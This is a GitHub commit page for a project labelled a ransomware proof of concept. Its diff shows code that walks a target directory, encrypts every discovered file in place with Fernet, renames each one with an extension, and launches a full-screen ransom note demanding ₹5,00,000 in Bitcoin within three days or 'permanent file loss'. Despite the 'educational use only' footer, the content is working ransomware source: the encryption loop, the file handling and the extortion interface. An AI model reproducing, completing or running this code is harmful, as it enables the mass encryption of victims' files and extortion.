Skip to content

Commit 16a2af5

Browse files
committed
Enhance file processing logging and update GUI text
- Added detailed logging for the number of files processed during encryption and decryption in core.py. - Suppressed per-file encryption and decryption logs in encryptor.py for cleaner output. - Updated GUI text to reflect a new payment message and changed the footer label for clarity in main.py. - Updated demo image in web/assets for improved visual representation.
1 parent 610b478 commit 16a2af5

File tree

4 files changed

+11
-19
lines changed

4 files changed

+11
-19
lines changed

ransomware/core.py

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -88,17 +88,23 @@ def run_process(self, root_dir: str, encrypt: bool = True, extension: str = ".wa
8888
discoverer = FileDiscoverer(root_dir)
8989
files = discoverer.discover_files()
9090
logger.info(f"Processing {len(files)} files in {root_dir}")
91+
processed = 0
9192
for file in files:
9293
try:
9394
if encrypt and not file.endswith(extension):
9495
self.encryptor.encrypt_file(file)
9596
os.rename(file, file + extension)
97+
processed += 1
9698
elif not encrypt and file.endswith(extension):
9799
self.encryptor.decrypt_file(file)
98100
os.rename(file, file[:-len(extension)])
101+
processed += 1
99102
except Exception as e:
100103
logger.error(f"Failed to process {file}: {e}")
101-
logger.info("Processing complete.")
104+
if encrypt:
105+
logger.info(f"Encryption complete. Total files encrypted: {processed}")
106+
else:
107+
logger.info(f"Decryption complete. Total files decrypted: {processed}")
102108
# Launch GUI after encryption
103109
if encrypt:
104110
decrypt_cmd = [sys.executable, sys.argv[0], "-p", root_dir, "-d"]

ransomware/crypto/encryptor.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def encrypt_file(self, file_path: str) -> None:
3030
encrypted = self.fernet.encrypt(data)
3131
with open(file_path, 'wb') as f:
3232
f.write(encrypted)
33-
logger.info(f"Encrypted {file_path}")
33+
# logger.info(f"Encrypted {file_path}") # Suppress per-file log
3434
except Exception as e:
3535
logger.error(f"Encryption error: {e}")
3636
raise EncryptionError(str(e))
@@ -45,7 +45,7 @@ def decrypt_file(self, file_path: str) -> None:
4545
decrypted = self.fernet.decrypt(data)
4646
with open(file_path, 'wb') as f:
4747
f.write(decrypted)
48-
logger.info(f"Decrypted {file_path}")
48+
# logger.info(f"Decrypted {file_path}") # Suppress per-file log
4949
except Exception as e:
5050
logger.error(f"Decryption error: {e}")
5151
raise EncryptionError(str(e))

ransomware/gui/main.py

Lines changed: 2 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -59,25 +59,11 @@ def build_gui(self):
5959
self.timer_label = tk.Label(self, text="Time left: 72:00:00", font=("Courier", 20, "bold"), fg="#ffff00", bg="#000000")
6060
self.timer_label.pack(pady=(10, 10))
6161

62-
user = getpass.getuser()
63-
host = platform.node()
64-
ip = self.get_local_ip()
65-
os_name = platform.system() + " " + platform.release()
66-
now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
67-
info_text = f"User: {user}\nHost: {host}\nIP: {ip}\nOS: {os_name}\nTime: {now}"
68-
if self.target_dir:
69-
info_text += f"\nTarget: {self.target_dir}"
70-
info = tk.Label(self, text=info_text, font=("Courier", 10), fg="#ff4444", bg="#000000", justify="left")
71-
info.pack(pady=(0, 10))
72-
7362
note_frame = tk.Frame(self, bg="#1a0000", bd=2, relief="solid")
7463
note_frame.pack(padx=30, pady=10, fill="x")
7564
note = tk.Label(note_frame, text=(
7665
"YOUR DOCUMENTS, PHOTOS, DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!\n\n"
77-
"If you see this message, your files are NO LONGER ACCESSIBLE.\n"
78-
"You must PAY A RANSOM in BITCOIN to get them back!\n\n"
79-
"Send Rupee 5,00,000 worth of BTC to the address below.\n"
80-
"After payment, enter the code and click 'Decrypt Files'.\n\n"
66+
"TO RECOVER THEM, PAY ₹5,00,000 IN BITCOIN TO THE ADDRESS BELOW.\n"
8167
"FAILURE TO PAY WITHIN 3 DAYS WILL RESULT IN PERMANENT FILE LOSS!\n"
8268
), font=("Courier", 12, "bold"), fg="#ffcc00", bg="#1a0000", justify="left", wraplength=620)
8369
note.pack(padx=10, pady=10)
@@ -105,7 +91,7 @@ def build_gui(self):
10591
bd=3, relief="raised")
10692
self.decrypt_btn.pack(side="left", ipady=6)
10793

108-
footer = tk.Label(self, text="WannaCry Simulator PoC - FOR EDUCATIONAL USE ONLY", font=("Courier", 9), fg="#888888", bg="#000000")
94+
footer = tk.Label(self, text="PainPain Ransomware PoC - FOR EDUCATIONAL USE ONLY", font=("Courier", 9), fg="#888888", bg="#000000")
10995
footer.pack(side="bottom", pady=10)
11096

11197
def update_timer(self):

web/assets/demo.png

-55.8 KB
Loading

0 commit comments

Comments
 (0)